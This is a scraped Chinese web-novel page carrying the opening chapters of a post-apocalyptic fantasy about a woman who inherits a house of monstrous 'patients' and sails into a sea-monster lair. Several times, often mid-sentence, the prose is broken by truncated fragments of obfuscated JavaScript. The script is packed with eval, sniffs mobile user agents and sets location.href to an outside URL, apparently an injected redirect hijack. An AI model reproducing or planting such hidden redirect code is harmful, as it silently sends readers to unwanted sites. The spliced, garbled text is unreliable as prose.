《病友集合，怪癖之家出发》 1. 没病下来走两步 夜半三更，章玦从睡梦里惊醒，满头大汗，一口气喘匀，掌心热度熨过胸口，她才意识到自己又做梦了。 她梦回现实，大火焚毁整栋大厦，她握住烧红的铁钳，一下子一下子拨一个没熟透的番薯…… 她睁眼盯着灰岩天花板，穿越到这个世界的第三天，除了最初的恐慌，其他时间她都在消化巨大的信息量。 这是末世时代，蓝星上笼罩着一团巨大无比的黑影，所有的飞行器材都失灵，没有人能看探测那团黑影是什么，又为什么突然悬浮在天空中？ 但很快人们就意识到黑影带来了灭顶的灾难。 起先是一批人的身上长出了一团黑色物体，类似外挂的肿瘤，不知谁最先给这团东西起了绰号，叫“阿贝贝”，形容很贴切，便被官方采用了。 之后人们越来越沉迷于自己的阿贝贝，精神受到强烈的污染。 最后他它们病了，患上了“太空癖病”，官方称它们为“癖人”或委婉地叫“病人”。 被癖人污染过的正常人要么疯了，要么变异了，成为异能者。 章玦继承了原身的异能，也继承了她所绑定的“怪癖之家”，类似一家怪物公寓。 唉！她叹口气下了床。 阁楼有一扇巨大的窗户，外面是黑得化不开的暗夜，没有任何天体轮廓，但无论谁抬头，总能一瞬间感受到硕大无比的压迫，大家心中都明白—— 它就在那里！ 打开门，阁楼与地面连接着一段楼梯，章玦在最后一级台阶上顿住，只要迈到地面，她将不再受到结界的保护，病友们可以随意玩弄、撕碎她。 吧嗒吧嗒声来自楼梯正对着的一扇门内，里面住的是原身收进来的一个病人，章玦仅能从病历本上查到一点信息——发疯指数高，阿贝贝未知，引导方向未知。 章玦又找不到人问，逃避了三天，她终于面对一个事实——再不尽快接手这个家，她就要家毁人亡了。 接手的这具身体只有十个月的寿命，在嗝屁之前，她要把怪癖之家和病友移交给东龙国，才能延续寿命。而东龙国在大陆的另一端，堪比取经之路。 章玦深吸一口气，下到地面。 脚刚踩落地，房门应声而开，五根银锃锃的爪子扣上门框，一根长脖子拐出来，渗红眼睛迫不及待盯住章玦。 “玩，玩啊……”癖人嘀嘀咕咕，“你陪我玩。” 章玦提起一口气，默念家长手册里第一条要则：尽量不要拒绝“病人们”提出的友好要求。 她捂住腰间的枪，仿佛这样才有勇气走进房间。 “太黑了，我开个灯。” 章玦稳住步子，摸到墙上开关，啪地打开灯。昏黄的灯光淅淅沥沥漫下，洒在二人头顶，章玦平静看待对方的脸，两只血瞳眯了眯，正在适应光亮。 它的模样实在称不上可爱，仅保留一部分人的五官构造，皮肤苍白干瘪，嶙峋细长的脊椎串起整副瘦削的骨骼，像条直立的猫人。 阿贝贝外挂在它的侧腰上，大多数阿贝贝未被开发，都是黑色球囊的状态。 章玦离开三米，控制在能迅速拔枪射击的安全距离之上，麻痹自己的感官，问它：“玩什么？” 癖人松弛的皮肤拉扯开一个怪诞的笑，笑声被挤变形，鼓掌欢呼：“玩老狼老狼几点钟。” 初学人类语言一般，癖人的腔调含糊不清，章玦勉强能听出什么意思。 “行。谁当狼？” 病人的爪尖欢快一点，颤幅很大，点名：“你。” 章玦退到墙壁，她扭过脖子盯着昏灯下鬼模鬼样的东西，点头：“开始吧。” 此刻她的掌心已经濡湿，敞露的后背每一寸肌肉紧绷着，像被蒙住眼睛，在行刑的枪口前静立，不停设想子弹什么时候发动，什么时候击破后心。 “老狼老狼几点钟？”背后夹子音突然拔高。 章玦吓了一凛，回：“两点钟。” 两点钟意味着它要往前走两步，她丈量过，两步顶多三米，而房间有八米宽。 后面吧嗒吧嗒，脚后跟磕着木地板往前挪。 “老狼、老狼几点钟？”尖锐的声波撞向墙，弹在章玦耳膜上，距离近了。 假如被对方一爪子划过后背，会不会当场被掏心挖肺？章玦设想着最糟糕的后果。 章玦：“两点钟。” 又是往前两步。 墙上斜长的影子降临在她头顶，还有两步之遥，就能扭断她的脖子。 “老狼、老狼几点钟？”这声充满了天真的、无比满足的愉悦。 “十二点钟。”章玦闭上眼，空气沉闷到了极点。 癖人在后面高呼出声，章玦回头，黏腻的舌头对着她的脸开大，对方一甩舌头，爪子朝她脑袋招呼。 章玦往后撤，迅速摸向腰间，手上多出一把黑沉沉的左轮手枪，锋刃烁烁的枪管上驻足一头三足乌金，这是瞄准器，也是一家之主的象征物之一。 可惜，枪膛内仅有一枚子弹，能不能对付得了它，全凭运气。 两天前。 刚穿过来的章玦一筹莫展，抡起板凳打算砸烂窗户爬出去，空中适时投影出一行字。 这个世界通用语言有两种——拉丁文和古东文，投影的文字为了匹配章玦东龙国人的身份，转换成古东文—— 【无论谁，当你看到这封信时，我已经真正地死亡。 入住“怪癖之家”对我而言就是坐牢，我找不到离开这个家的办法，所以在长期的囚禁和精神折磨后，我选择结束生命。 这个家目前只住了一个病人，它很暴躁，但没关系，阁楼是安全的。祝你好运，新的继承者。】 “经常穿越的人都知道，不是每个原住民都见过魂穿，除非这种事发生过不只一次。如果魂穿在这个世界不常见，或许原身也是一名穿越者，只是选择提前下线。”章玦根据情况合理推测——穿越和黑影也有关系。 这封简短的遗书之后，墙壁上的光影闪烁不停，刷出一个新的界面。 【您好，“没病下来走两步”这个家以后就拜托您了，新的继承者，现在家庭信息已更新完毕。要看看家里情况吗？】 章玦尝试用点头回应，她隐隐感觉到无处不在的监视。果然界面瞬间刷新—— 【“没病下来走两步”这个家不大，等级是E。 新一任家主名字是章玦。 全球0.00001%的人患上黑影辐射病，觉醒“怪癖之家”的异能，你也有幸是其中一位。 既然生病了就不要出门了，你没办法踏出家门，哪怕一步。只能靠进入癖人身体，操控它们，出去搜集生活物资和狩猎癖人。 你可以主动回家，也可以在濒死前，强制将癖人传唤回家。 总之，保护好自己和家人是你作为家主的首要职责。 当然，病友们不可能都很乖，它们第一个想吃掉的人一定是你，所以需要你付出巨大的心血去关爱和管理它们哦。】 伴随这段话掉落的，还有一把左轮手枪，外观普通，黑的不透光，枪管上镶一头三足金乌的瞄准器。 枪身入手很沉，墙上投影旋即变化—— 【初始配置武器：一家之主手枪 枪里只有一枚“清洗子弹”，可清洗癖人的执念，效用视乎执念顽固程度而定。 除了清洗子弹，还能装载“阿贝贝子弹”和普通子弹。】 在最初的混乱之后，章玦花了两天时间来掌握手枪的使用方法。 她不打无准备的仗。 此刻癖人血瞳倒竖，神智游走在崩溃的边缘，它认为章玦举枪是在耍赖，不停尖啸：“规则，规则，你破坏规则！” 章玦不理会对方愤怒的控告，眼神儿透着股悍劲，扣动扳机。 随之清洗子弹射入癖人的眉心，一条墨绿的血柱喷涌而出，地面与墙壁迅速下陷。 章玦掐住自己的人中，心道“来了”。清洗子弹的最大用途就是清洗掉癖人执念，因此有概率会触发幻境。 她脚下一空，整个人往下坠，直到被坚硬的物体托住，才刹住下降的势头。她抬起头，手枪不知何时变成一把小刀，握在手心。 “趁他们睡着了，快。” 一双手拍打她肩膀，试图让她清醒，这人明明只有一根脆弱干瘪的胳膊，却很有力。 章玦缓缓起身，看她的人有两个巨大的眼袋，松松垮垮压住凹陷的两颊，浑浊的眼珠子木楞楞，偏执得可怕。 这就是癖人原本的模样，穿着西装打着领带，不停盯手上的腕表。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996474|193904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “快，要快。”她再次强调，手里也握住尖刀，说完这句就走到隔壁的工位上，然后抓起一个沉睡的人，刀尖往脖子上一压用力一抹，那人抽搐了几下，瘫在桌子上。 她走到下一个工位，抓萝卜一样，噗嗤，从后心进去，又抽出来。 章玦定定看着她在办公室内疯狂又冷静地杀戮。 “快啊，他们快醒了。”她环顾四周，在挑下一个下手的对象。 章玦无动于衷，心道：被工作逼疯也算现代偏执病吧。 章玦走过去，忽然一具软绵绵的尸体歪倒，躺在她的脚背上，热乎乎，这一刻，章玦一愣，逼迫自己不被幻境牵着走，这些都是癖人的扭曲过的记忆，不是真的。 “为什么要杀他们？”章玦问出声。 “他们该死。”她已经杀麻了，从经理的办公室出来，身上黑色西装湿淋淋，滴答滴答砸在地上。 她猛然顿住，脑袋四处转，急迫得像一条老狼在找猎人的枪，嘶吼：“在哪里？在哪里？” “什么在哪里？”章玦后退到一排工位后，看着逐渐癫狂失智的人，不住挥舞刀子，仿佛空中有无数冤魂纠缠，恐惧嘶喊：“在哪里？” 章玦看她跟狗咬尾巴似的，绕着自己转圈，一个念头渐渐成形——她听不得滴答滴答的声响。 “你要的东西在我这里啊。”章玦决定冒个险。 “给我！” 震吼从她的胸腔爆发出来，扑哧一下，胸前洇开一朵明灿灿的花，这人竟然怒极攻心，爆血管了。 章玦提刀抵在身前，这根人形水管在空中跃起，洋洋洒洒泼过来。章玦抓准时机，往她腰部割过去。 癖人身体僵硬，摔落后咳出脓汁。 章玦盯住她腰部的阿贝贝“外壳”炸裂开一条缝，像颗胆囊吐着胆汁。 清洗子弹击中阿贝贝能起到最大清洗效果，就算在幻境里变成刀，也有同等功效。 空间再次转换，这次章玦站在窗帘旁。这是一间卧室，床上躺着一具隆起的躯体，被子里溜出一段苍白手臂，摁了摁床头柜上的手机。 清晨四点。 苍白手指在屏幕上操作，先是进入工作群，退出工作群，又进入邮箱，退出邮箱，再进入在线表格，退出在线表格，这些事情似乎来来回回已做了无数遍，那根手臂关了手机，又溜回去被子里。 清晨五点。癖人再次从床上爬坐起来，大力揉着脸，两颗巨峰葡萄大眼珠子剥了皮似的，剥下来的紫皮就是挂着的大眼袋。 她忽然哭出来，大眼袋充水，简直快从脸上掉下来，哭完她又开始刷手机，进入工作群，退出工作群，进入邮箱，退出邮箱，进入在线表格，退出在线表格。 然后她便一直坐着，坐到天光亮起。 章玦绕过她，试探伸出手，她没有反应，章玦便大胆抓起床头柜上的手机查看屏幕——时间数字占满开机屏。 “这就是你的阿贝贝？”章玦悄声问出，也没打算听见她的答复。 这个癖人的时间更像社会人被分层之后，功能化的时间，而她也是被异化的工具。 章玦得到阿贝贝后，左右手两样东西摇身一变，小刀变回家主手枪，而手机则变成一颗螺旋纹的阿贝贝子弹。 章玦回到了房间中，癖人神智迷离。腕表投影出阿贝贝子弹的用途—— 【这是一枚“时间编辑子弹”。 时间编辑子弹：属于B级效用的阿贝贝子弹，击中癖人，能够编辑移动癖人存在空间内的二十秒时间。使用效果受癖人的能力与环境生物数量限制，环境生物数量超过三人时，效果会大打折扣。】 章玦翻译一下这段干巴巴的说明，简单来说，就是她能移动二十秒的时间。二十秒可以只是一杯茶的休闲时光，也可以是泥头车迎面撞过来的生死瞬间。所以这个子弹用得好能扭转乾坤。 章玦眼睛倏的亮起，二话不说，将子弹上膛。 “病历本。”她低声念。 手边多了一部漂浮的病历本，本子的封面像涂白的石壁，写着归属词——这是“没病下来走两步”怪癖之家主人章玦的所有物。 章玦翻开内页，对麻木的癖人宽慰：“你既然彻夜失眠，又很有当牛马的潜质，我倒想到有一个角色挺适合你的。” 2. 病友 病历本的内容投影到空中—— 【入住病友的编号：0002号 名字：李远湘 户籍：东龙国 阿贝贝：（已解锁）手机 病情：中度癫狂，保有少量人性 疗养环境：阴暗的陆地 攻击指数：中度 基础技能：钢爪 提议：建议家里人多带它出去接触末世扭曲的社会，有助于治疗它过于正常的社会思维。作为一个癖人，不需要太努力，尽量松弛生活，有助病情康复。】 “病历本”相当于怪癖之家的登记簿，只有章玦能翻阅与记录。 章玦试着用食指在病历本上写字，所过之处，新的字迹会覆盖旧的信息，她果然可以改动病人档案。 很快手动修改完毕，章玦满意地看着这份新病例—— 【入住病友的编号：0002号 名字：小倩（改动后） 户籍：东龙国 ……】 抬头一瞬，章玦回到了园内一楼，癖人呆坐在地上，正抬眸，巨峰葡萄大眼睛流露出几丝阴险与妩媚，此时它抬起钢铁的利爪子，别了别自己的长头发。 章玦盯着利爪子涂着红指甲油，厉鬼味儿更浓，膈应之余不禁庆幸古老的东方传说在这个世界仍然流传，而且还可以给癖人植入新身份。病友小倩办理入住怪癖之家成功！ “你往后就叫小倩，反正晚上你也睡不着，就负责替咱们家守夜吧。”章玦委婉跟它解释。 名字是身份认同的重要标志，多喊喊新名字，有利于它融入新角色。“小倩，你听见我说的吗？” 小倩抬起头，左边脸高高提起，右边脸歪歪拉下，一张刚捏好的女鬼脸，像被左右扯坏的面团。 “坏了。”章玦心想，刚导入新的身份，癖人原本的残念还在做怪。 小倩倏然起身，破碎袖子流苏拂拂，恭恭敬敬朝她鞠了躬，喊：“老板好。” 上班这种钢印思想真要不得！ 小倩自告奋勇：“老板，我现在就出去抓鬼，没有抓到一百只，我就主动辞职。” “那倒也不必……”章玦大喊，对方脚下一滑，咻地飘出房间。 聂小倩变工作狂？！章玦拔腿就去追，让它飘出家门，可不一定能抓回来。 章玦追进院里，小倩已经趴在墙头使劲往外翻，怪癖之家墙高三米，它能上去却一时半会翻出不去。 章玦冲到它下方，拽住它脚踝，被对方两只脚轮番踢肩膀和后背。 章玦被踩出一肚子气，怒喊：“你再这样，我就炒了你。” 这句话犹如一记惊雷，当场让小倩僵化，被一把扯回地面，它的白绣花鞋被扒了，散落在草丛。 此时腕表颤动，文字漂浮在空中—— 【这是小倩的“飘飘鞋”。家里不大，禁止横冲直撞，更禁止爬墙行为，飘飘鞋先让你保管了。 作为家长，你有权没收病友们的违禁用品。】 白色绣花鞋消失，取而代之是投影的柜子界面里，多出了名字为“飘飘鞋”的标签。 章玦动动手指去取，标签消失，脚上覆盖上绣花鞋的图标。 章玦正研究鞋的功能，小倩已经开始用利爪抠墙砖，墙上裂缝正在扩大，这么挖下去，整个家都要散。 章玦当机立断将她拽回屋内，第一件事就是去找能控制它情绪的东西。 找来找去，从洗手间卸了一块碎镜子出来，将那张五花八门的脸压在镜子前，章玦恶气横生：“做癖人要消极一点。你的职责是和我一起守护这个家，不是爬墙出去杀怪，懂吗？” 镜子是双刃器，既能扭曲现实，又能让人认清现实。 小倩捧起镜子，仔仔细细描摹自己的眉眼，巨大的眼袋充血，活脱脱两团胭脂，凶相逐渐消失，柔和的眉眼含蓄多情，总算是冷静下来。 章玦刚松口气，一阵妖风平地而起，卷起小倩纠结的长发。 章玦第一次收服癖人，不知道残念翦除，连锁反应却不会一下子就消除。 房间内出现笃笃笃……一阵急过一阵的木头杵地声。 章玦返首，吓了一跳，两个黑影捏出来的人形，妇人模样，一个拄杖，一个病歪歪。 拄杖的黑影妇人幽幽开口：“小倩，该是时辰去做饭了。” 章玦一拍脑袋，原癖人的执念是社畜，实现自我的社会功能，一下子变成小倩，也要捏出一对上司来。 按照小倩的剧情，她被宁采臣领回家后，真心诚意地侍奉着宁采臣的母亲和病妻。这两个黑影就是原著里的母亲和病妻。 病友版小倩整顿着衣服，羞答答说：“我这就去。” “去什么去？你奉献人格上瘾了？”章玦一把拽回人领子，迅速检查手上装备，弹药方面有“清洗子弹”和“时间编辑子弹”两种，没收违规品只有“飘飘鞋”。 “清洗子弹”不能对同一病友用两次，她心里迅速捋了一条路子出来。 章玦握枪，掉转头，对准聂小倩眉心就是射击，“时间编辑子弹”嵌入它的皮肤。 小倩嘤嘤嘤倒地，哭叫：“为什么又是我？” “解铃还需系铃人。”章玦好心解释。 两个黑影动作瞬间卡顿，虚空中出现一段时间条，章玦试了试，点中20秒，然后手指轻轻一抬，果真能移动此时间段。 往前最远能溯回五分钟前，往后最远能到五分钟后。 20秒被精准嵌入到四分钟前。 章玦眼前走马观花，身子往下陷，调转个头，跌进办公室中。 她四下望，杀红了眼的聂小倩阴毒提起手上的刀子，转头奔进办公室。章玦不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996475|193904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫌事大，赶紧凑过去。 办公室内，两条黑影子飘忽不定，被聂小倩一手一个，祓除干净。 小倩转过阴森森的脸，血泪滴滴答答，痛述她的罪状：“你是老板，你纵容他们pua我，纵容他们裁掉我，你最该死！” 因果有报，之前的因不是消除了，而是都积攒到章玦身上了。 章玦心道“造孽咯”，扭头便逃，这个聂小倩会飞！ 二十秒一过，回到家里，章玦取出飘飘鞋，脚下滚滚云絮，登地助她跃上台阶。 站稳在楼梯上，她浑身沥汗，身后哭得昏天暗地，幸好怪癖之家的规则如同天条，任凭聂小倩再鬼吼鬼叫，也绝对上不来。 无视楼下时而癫狂大笑，时而怯怯幽泣，章玦累瘫了，缩回被窝里，跑了一晚上，肚里一点存粮都没有，已经开始冒酸水，迷迷瞪瞪之间，她饿睡过去。 —— 自从暗影覆盖天空，这颗星球的夜晚特别长，白日仅有四个小时左右，这还是夏季，若是冬季，章玦所在的北半球将更绝望。 日出时已是下午三点，天上是漂了沥青的海面，黑的部分有种密不透气的窒息，光亮部分又虚虚浮浮，像抓不牢的希望。 章玦从窗户眺望出去，“没病下来走两步”这所二层破别墅就藏身在城市颓圮中。 这座城市叫莫沙，是个港口城市，曾发生过大型污染事件，污染源头被切断，然而半座城的人被勒令搬离，至于何时归乡，是一个永远的问号。 失去政府管束的莫沙城彻底沦为狂徒的纵乐之地，高昂的物价和密集的暴力事件逼走了良民，留下来的人除了替帮派干活，就只有出海捕鱼这条路。 章玦找遍阁楼，没有钱也没有存粮，思来想去也只有去码头碰碰运气，运气好的能捡到一些碎鱼烂虾。 但一想到只能靠进入小倩的身体出去，就头皮发麻。 麻归麻，总不能饿死在楼里。章玦侧耳倾听，楼下静谧，她提起一口气，携上家主手枪，背上一个空荡荡的背包，缓慢下楼。 檐廊外投射进一片浅光，昨晚看的不仔细，院子里的草足有半人高，长得旺盛，草坪之外就是一扇两臂宽的铁门，上边儿挂着一个电子锁。 昨晚上碎裂的玻璃片消失了，章玦瞥向洗手间，镜子完好，这个家到了一定时间会自动复原，这倒是省了要打扫的烦恼。 章玦蹑手蹑脚靠近房门，先听了几声，里头有浓重的呼吸声。她探头朝里看，撕碎的纸箱上边蜷着瘦瘦的白影子，脸上开染坊似的，浓妆艳抹，眼睛死死闭着，巨大的眼袋平复下去，像两团腮红。 七八分似人，三二分似鬼，章玦觉得这样出去不行，又偷偷摸摸上了楼，再下来手里多了一件大衣和一顶帽子。 她放轻脚步靠近聂小倩，从上到下打量，犯难，该怎么进入癖人的身体？ 3. 出海 章玦隔空打算给小倩画个夺魂符箓之类，或许感应到她不靠谱的念头，从小倩嶙峋的脊椎上延伸出一段悬浮的红线，线头活灵灵地往她掌心钻。 章玦试着摊开手，线头瞬间吸附上她的指头，然后天旋地转，从章玦的视角看，她踧然坠落，与地面来个无缝接触。 她就这么毫无预兆地、没有形象地摔在地上。这种上身方式很是不讲究！ 章玦的意识很快被“拔了电”，一片漆黑。 视线再度凝聚时，她最先感受到的是剧烈的头疼，往外排斥、拉扯的疼，她伏在纸箱上，像晕船的人不停干呕。 等脑疼缓解了一点，她又发现脚和手轻飘飘的，稍微变化一个姿势就打滑跌倒，完全没办法靠重力站稳。 “滚出去……滚出去……”脑子里不停盘旋着病友的嘶吼。 “我只是暂时借用身体，一定还给你。”章玦开口，声音鬼气森森，哀怨又可怜。 她从来不这么说话的…… 章玦扶住墙，哆哆嗦嗦立好。 嘶……手指没控制好力度，长长的钢爪割破大腿肉，疼痛感却很真实。 她摇摇晃晃爬出房门，想着上楼去取医药箱，到了楼梯口发现有一堵无形的墙挡住路，没办法，只好又爬向大门口。 今天这门她是出定了！抱着这股犟劲，章玦愣是忍痛爬到铁门旁，用腕表刷电子锁出去。 门外吹过一堵风，风里潮气与霉味交杂，结结实实熏她一脸。 章玦扶住门飘起身，作为阴暗生物，她和聂小倩一样，一看见阳光就本能地害怕。她锁好家门，沿着墙根阴影扶墙走。 周围无人，精神污染同样作用于植物，颓败的建筑里长满人头高的草，斑驳的青苔与蘑菇连片连片占据了整条街区。 安静的环境里，只有章玦指甲抠在墙缝里，发出嘀嘀咕咕的自言自语—— “你别使劲往外窜，我控制不好重心。” “安静点，你叫得我脑袋疼。” “疯了啊，你想砸死自己吗？” …… 章玦抵住墙，脑袋和脖子互相较劲，脑袋恨不得砸在墙上，脖子使劲往后退，拉扯之间已经磕了好几下额头，疼得章玦骂祖宗。 等章玦控制住身体，她也大汗淋漓走到空旷的街道上。从这里到码头至少二十公里，她打算顺一辆车过去。 想法是美好的，可是左右腿交叉飘了一公里路愣是没看到废弃的车，这个时候日头偏西，聂小倩的鬼气越强烈，章玦的控制力度就越弱。 哔哔！走神之际，后头一辆车飞出来，车头的劲风刮向腰侧。 “往左，往左！”章玦内心绝望咆哮，死腿愣是不动，她甚至在慌乱中听见小倩冷飕飕的笑。 她的身体像断线的风筝在空中飞扬，然后轻飘飘摔落在泥泞上。 撞倒她的车辆猛地打岔，车轮碾碎泥土的噪音刮过耳膜，章玦觉得自己要死了，又觉得死不了，浑身魂飞一样无知无觉。 车里蹬出来一双黑色马丁靴，溅起泥点子，打在章玦脸上。然后一张脸倏然放大，一双眼睛装满余惊，看着她，问：“你没死吧？” 这人就势将她扶起来，扶到一半又摔回去，无措地看章玦十根长指甲在空中找不到支点乱舞。 最后这人犹豫了片刻，良心作祟，还是揪住章玦的胳膊，将人拽起来，拽起来时候还疑心地上下打量，大概是猜章玦是不是人类。 “别看了，我是人。”章玦捂紧帽子低声说。 这人是个年轻女孩，面容青涩，慌张中故作镇定，看章玦：“这么大冲击力，你居然没事，真是人？” “嘿，从小身体好。”章玦对这个世界的变异者知之甚少，只能糊弄。 女孩听了却点点头，没有怀疑的说：“你是身体异化者？” “算是吧。”章玦点了点头，控制住自己准备伸过去拔女孩脑袋的手指——小倩对外人抵触心理很大。 女孩确定章玦没事，松开她，警惕走向车，说：“那行，你保重，就算是变异者在外面走路也要看着点。” 章玦左手按右手，盯着女孩上了吉普车，子喊：“那个谁，能载我一段路吗？” 女孩毫不犹疑，笑道：“不行哦，抱歉，我赶路。” 决绝的身影迅速溜上车，生怕章玦再提要求，车子扬长而去。章玦眼巴巴看着唯一的车辆驶离视线。 没辙了。章玦吐出一口气，大吼：“求你别乱动了。” 周围空无一人，吼声回荡，不知那栋楼里传来嗷呜嗷呜猫叫，充满敌意。 章玦点开腕表，这玩意附着在聂小倩手上，仍能使用，她调取出飘飘鞋，套上鞋准备飘去码头。 【腕表显示：在外面跑步，飘飘鞋的速度会降低百分之五十。】 速度减弱总比靠双腿飘强，章玦一溜烟飘出百米远，一路飘到码头外才偷偷卸了鞋。 章玦自顾嘀咕，腥膻海风打着她的大衣摆，码头礁石上的人嚼着烟屁股一个劲看她，大概像看一个神经病。 章玦也没上前去自讨没趣，在地上走了一圈，脏是脏，却看不见臭鱼烂虾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她一开口，老人立刻挽住她胳膊，章玦路上整了一副手套，尽量掩盖住长指甲，老人一牵便说：“孩子，谁都不是完美的，你应该为自己的不完美自豪。” 章玦只好当一条混饭吃的门路，答应跟他们一块出海。 船是小渡轮改造，船身用钢筋铁板加固，连发动机都比普通船只大两个号。 章玦走进船舱，捡了一个位置坐下，瞥向对面的人，一个个腰杆子里鼓囊囊，一看就装了武器。 海面萦绕着一层绿雾，章玦心脏蹦了蹦，说实话还有点紧张。 4. 海妖 船只驶入雾中，阳光被隔绝在云雾之上，不知何时，船头已开了远光灯，船舱中陷入沉闷的幽暗。 随之船行越远，章玦能感觉到周围人的呼吸越浓重，气氛也更紧张。 老太婆从头到尾都握住儿子的手，跟儿子嘀嘀咕咕有的没的，黑暗中，她似乎听见儿子悄声说了一句：“不会那么倒霉的。” 船夫打一开始就没再说过话，七月的夜里，他光着膀子，后背上背了一杆枪，虬结的肌肉上满布伤疤。 桀桀桀…… 一道怪笑突兀地在暗处滋生。 船夫抖了抖肌肉，迅速拔过后背的枪对准水面，水面上一波波涟漪，不祥之物似乎随时破水而出。 桀桀桀…… 又是一道笑。 这下子大家听得很清楚，是从船舱中发出的，众人一顿搜寻，目光定在一双大手套上。 桀桀桀…… 章玦竭力捂住嘴巴，笑声是从腹部和喉咙发出的，她也控制不住啊。 “喂，你没病吧？从一开始就看你不顺眼，现在还装神弄鬼想吓老子？”正对面的黑夹克男人从后腰处拔出一把消防斧，斧头溜冷光，对着章玦的脑袋作势劈下来。 铛！ 章玦脑袋顶，一把小拐杖露出来，替她挡了煞。 老人悠声劝道：“小姑娘没见过世面，紧张点出不了大事，鼹鼠你第一次出海时，不也是吓得把隔夜饭都吐出来了？” “雷利亚，你一把老骨头，没有多久能活，最好还是把自己命看重点。”鼹鼠眼神儿在章玦和老人身上来回，加重语气，讥笑：“这是你给窝囊废儿子现拉的丑八怪老婆？” 雷利亚也不动怒，一拐杖把鼹鼠的斧头绞了。斧头不偏不倚砸在鼹鼠座位底下。 “该说不该说呢，我们都不是正常人，就别嫌弃来嫌弃去了，留着力气抓海蛇吧。”雷利亚收了拐杖，这话像一把火，点亮了每人脸上难堪的表情。 说章玦丑的鼹鼠下颌做过大手术，骨头错位，远看像个削尖的橄榄球，皮肤开了两个洞口又缝合上，所以远看还是个破洞的橄榄球。 其余人各有缺陷，不再说话。章玦捂紧嘴，尽量把腹部怪笑压下去。老人怜悯地睇她，她只好点头表示感激，死活张不开小倩这张嘴。 鼹鼠黑着脸坐回去，掏出一部老旧的翻盖手机，键盘敲得噼里啪啦响。章玦猜测他这么做一方面是为了出气，另一方面是为了显摆。 鼹鼠左右两个人偷偷瞄手机界面，目露艳羡。鼹鼠嗤了嗤牙，气就这么消了大半。 有人搭讪问他：“这手机花了多少钱？” 鼹鼠特别不要脸：“问这个干什么？老子从联邦内部搞过来的，你们有钱也搞不到。” “真的和广告上说的一样，里边有癖人买卖的市场，还有人搞癖人擂台赌博？” 鼹鼠拉拉嘴角，朝船舱外吐了一口痰，“要不怎么说你们是外行。要只有这些，老子买它干什么？老子买它当然是为了搞大事。” “什么大事？”他越说，大家越好奇。大家越好奇，他越得意，越不愿意说。 众人见他不开口说实话，多多少少有点败兴又都安静下来。 安静不超过三分钟，章玦忽然咚地站起身，在众人惊疑的目光中飘忽飘忽拐向船头。 船夫看了她一眼，登时拉下脸，低声呵斥：“坐回去！” 他把着方向盘，再看章玦，瞬息闭了气，这个疯女人飘出船门，正走向船舷。 精神上的小倩痴痴地盯着水面，章玦正在极力揪住它的理智，无声劝告：“这是海……” 精神小倩耿直发问：“你说捕鱼是我的工作，为什么不下去？” 没时间和工作狂解释太多，章玦劝：“没了命还怎么工作啊。下去我能死。” 病友小倩：“我命短，本来也死了。” “也是。”章玦反应过来，她竟然说不过一条鬼…… 雷利亚的儿子见状冲出来，抓住章玦的肩膀，往回扯，满脸震惊：“你是真癫还是假疯？这块海域没有三叉海蛇，有的只有……” 他后半句话生生噎下去，忌惮地朝海面瞍巡，又低声将章玦扯回船舱，船夫愤愤骂粗口。 一船的人都借着骂章玦将胸口积郁骂出来，仿佛这样就能不害怕。 咚！船只在群情激奋中撞上了什么东西。 雷利亚唤回儿子：“弗基，回来。” 弗基丢开章玦的领子，立刻窜回母亲身边，以船只为中心的海域颠了一个巨大的波浪。船夫把住方向盘，吼章玦：“扫把星，都是你把它们惹过来了。” 章玦刚刚稳住精神，夺回身体的主导权，听见他这么一骂很不爽地扒住船舷，回怼：“别说是你驾驶技术太烂。” 船夫提起唇：“你以为这是谁的老巢？” 章玦靠得近才听清楚这句话，其余人无头苍蝇似的，船体往左侧倾斜，有武器的人都已经开始掏武器，恐惧席卷之下，暴动的因子做怪，不知道谁朝海里射了一根箭，紧跟着其余人也开始往空气中乱砍。 “都别激动，它们只是要两个祭品。”雷利亚沉沉出声。 鼹鼠忍住晕船呕吐的冲动，也喊：“这是海妖的巢穴，它们要两具年轻的躯体。一男一女。” 祭品，还是一男一女？船上的人除了雷利亚，几乎都满足条件。这下大家更慌了。 冷静得快的人猜出鼹鼠的打算，顺着鼹鼠的视线，看向船头的章玦。男的未定，女的，大家心里迅速定下章玦这个疯婆子。 “女的选她，大家没意见吧。”鼹鼠笑眯眯，替大家做决定。 章玦环视众人，最后定格在雷利亚脸上，冷冷：“你是故意引诱我上船？” 雷利亚对这片海域太熟悉，她知道海妖需要祭品，所以才拉章玦上船。什么没有船费，孝顺大儿子都是借口。还是吃了太有道德感的亏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 